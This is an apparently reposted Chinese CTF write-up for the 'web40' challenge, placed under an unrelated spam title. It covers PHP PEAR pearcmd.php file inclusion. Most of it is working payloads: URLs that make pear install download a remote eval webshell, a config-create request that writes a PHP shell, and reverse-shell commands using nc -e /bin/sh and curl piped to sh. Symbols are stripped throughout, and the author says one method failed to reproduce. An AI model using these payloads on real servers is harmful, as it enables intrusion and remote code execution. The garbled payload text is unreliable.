福州建设部官方网站本地建站教程
web/
2025/9/26 2:10:55/
文章来源:
福州建设部官方网站,本地建站教程,商标设计软件,c2c wordpressweb40 考点#xff1a;pear文件包含
pear是PHP的一个扩展
条件#xff1a;
1 有文件包含点
2 开启了pear扩展 #xff08;可以当他是一个框架#xff09;
3 配置文件中register_argc_argv 设置为On,而默认为Off#xff08;$_SERVER[‘argv’]生效#xff09;
4 找到…web40 考点pear文件包含
pear是PHP的一个扩展
条件
1 有文件包含点
2 开启了pear扩展 可以当他是一个框架
3 配置文件中register_argc_argv 设置为On,而默认为Off$_SERVER[‘argv’]生效
4 找到pear文件的位置默认位置是/usr/local/lib/php/ 查看phpinfo满足条件 PEAR扩展 全称PHP Extension and Application Repository PEAR扩展默认安装位置是 /usr/local/lib/php/
argv是数组argc是数字。可通过var_dump($_SERVER);语句查看 argv有独立GET之外获取参数的作用。比如传入?aaabbb argv数组两个元素是aaa和bbb。argc是数组的长度。 php中有些文件pearcmd.php是通过argv和argc来获取参数的。
利用Pear扩展进行文件包含
方法一远程文件下载下载远程木马到本地
?file/usr/local/lib/php/pearcmd.phplalalainstall±R/var/www/html/http://vps-ip/shell.php
lalala随便输第一个参数没用第二个有用
install安装远程扩展
-R指定安装到的目录
/var/www/html/目录
http://vps-ip/shell.txt从哪下载shell.php包含?php eval($_POST[1]);?
从返回信息中截取/var/www/html/后的地址比如/var/www/html/tmp/paer/download/shell.php就截取tmp/paer/download/shell.php
payload
?file/usr/local/lib/php/pearcmd.phplalalainstall-R/var/www/html/http://120.46.41.173/shell.php 访问URL/tmp/paer/download/shell.phpPOST 1什么什么 进行RCE 进入/tmp/paer/download/shell.php地址POST进行RCE。 网上另外一种包含远程文件办法
https://blog.csdn.net/Mrs_H/article/details/122386511 payload如下(源自W4师傅) ?install±-installrootfile/usr/local/lib/php/pearcmd.phphttp://[vps]:[port]/test1.php 从上面的分析中我们不难看出这串payload所下载的文件的保存地址在 file/usr/local/lib/php/pearcmd.php/tmp/pear/download/路径下面这里我在使用的时候会遇到一些有关配置方面的问题因为名为file/usr/local/lib/php/pearcmd.php的文件夹是新创建的而我并没有权限对其进行写操作而导致利用失败。 但是除此之外install命令还有另外一种利用的姿势payload如下 file/usr/local/lib/php/pearcmd.phpinstall±R/tmphttp://192.168.1.9/index.php 重开环境
方法二生成配置文件配置项传入我们恶意的php代码的形式
配置文件中配置项一般都是ab形式比如usernameroot 如果配置项包含恶意代码比如man_dir?php eval($_POST[1]);? 假设包含恶意代码配置文件名字叫xxx.php如果我们能包含配置文件那我们就能执行恶意代码了。
GET ?file/usr/local/lib/php/pearcmd.php±c/tmp/ctf.php±dman_dir?php%20eval($_POST[1]);?±s
-c创建一个配置文件
/tmp/ctf.php放配置文件的临时目录
-d增加配置项
man_dir?eval($_POST[1]);?配置项
-s保存hackbar会自动编码我们用burp发包。 然后包含/tmp/ctf.php就行了。
复现不出来不知道哪里出问题了
方法三写配置文件方式
GET /?file/usr/local/lib/php/pearcmd.phpaaaaconfig-create/var/www/html/?$_POST[1];?x.php 最后有一个空格
vps监听端口 nc -lvvnp 9023 burp发包 访问url/x.php
POST 1sleep 3 判断shell是否能执行 POST 1nc vps-ip port -e /bin/sh
如果服务端没nc命令就用平台来反弹
POST 1curl https://your-shell.com/vps-ip:port | sh
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/81937.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!